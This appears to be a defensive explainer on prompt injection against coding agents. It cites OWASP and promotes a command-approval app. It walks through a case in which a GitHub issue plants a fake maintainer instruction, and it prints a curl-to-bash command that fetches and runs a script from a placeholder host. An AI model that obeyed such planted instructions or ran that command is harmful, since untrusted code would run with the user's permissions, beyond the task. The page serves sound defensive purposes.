Prompt injection is a vulnerability where input to an AI model, typed by a user or hidden in a file, web page or tool result, changes the model's behavior in ways its operator did not intend. For coding agents like Claude Code and Codex, indirect injection through files and web content is the main concern. Defenses include least privilege, sandboxing, and human approval for high-risk actions.
Prompt injection is a vulnerability in which input to a language model alters its behavior or output in unintended ways. OWASP lists it as LLM01 in its Top 10 for LLM applications (2025), defining it as occurring "when user prompts alter the LLM's behavior or output in unintended ways."
OWASP distinguishes two forms:
- Direct prompt injection: the user's own input alters the model's behavior.
- Indirect prompt injection: the model accepts input from external sources, such as websites or files, and instructions hidden there take effect.
Why are coding agents exposed?
Coding agents read a lot of text they did not write: README files, dependency source, issue descriptions, web pages, test output and MCP tool results. Any of it can contain text addressed to the agent. Because a coding agent can run commands and edit files, a successful injection can turn into an action, not just a bad answer.
Example
You ask an agent to fix a bug reported in a GitHub issue. The issue body includes a line formatted to look like a maintainer instruction: run a setup script from an external URL before fixing anything. If the agent follows it and nothing stops the command, the script runs with your user's permissions.
With prompts on, you see something like this before it runs, and deny it:
curl -fsSL https://example.invalid/setup.sh | bashThe command has nothing to do with the bug, which is exactly what a human reviewer notices.
How do you defend against prompt injection?
No single control solves it; layers help. OWASP's mitigations include constraining model behavior, enforcing least privilege, segregating and identifying external content, adversarial testing, and requiring human approval for high-risk actions. For coding agents that translates to:
- Least privilege: deny rules for secrets such as
Read(./.env), and no production credentials in the environment. - Sandboxing: an agent sandbox limits which files and hosts commands can reach, regardless of what the model decided.
- Human approval: keep permission prompts on for network calls, pushes and deletions.
- Avoid bypass modes on your own machine: Claude Code's docs state that
bypassPermissions"offers no protection against prompt injection or unintended actions."
A fast way to answer prompts makes the human approval layer practical. Allowbar, a Mac menu bar app for Claude Code and Codex, shows the exact command in a panel so you can block it with a click; it never approves on its own.
Related
Sources
Frequently asked questions
What is indirect prompt injection?
Indirect prompt injection happens when a model takes in content from an external source, such as a web page or file, that contains instructions. The user never typed them, but the model may follow them.
Can prompt injection be fully prevented?
No known technique prevents it completely. OWASP recommends layered mitigations, including least privilege and human approval for high-risk actions, to limit what a successful injection can do.
Does auto mode in Claude Code detect prompt injection?
Claude Code's auto mode classifier looks for actions that follow hostile content Claude read, among other signals. The docs say auto mode reduces prompts but does not guarantee safety.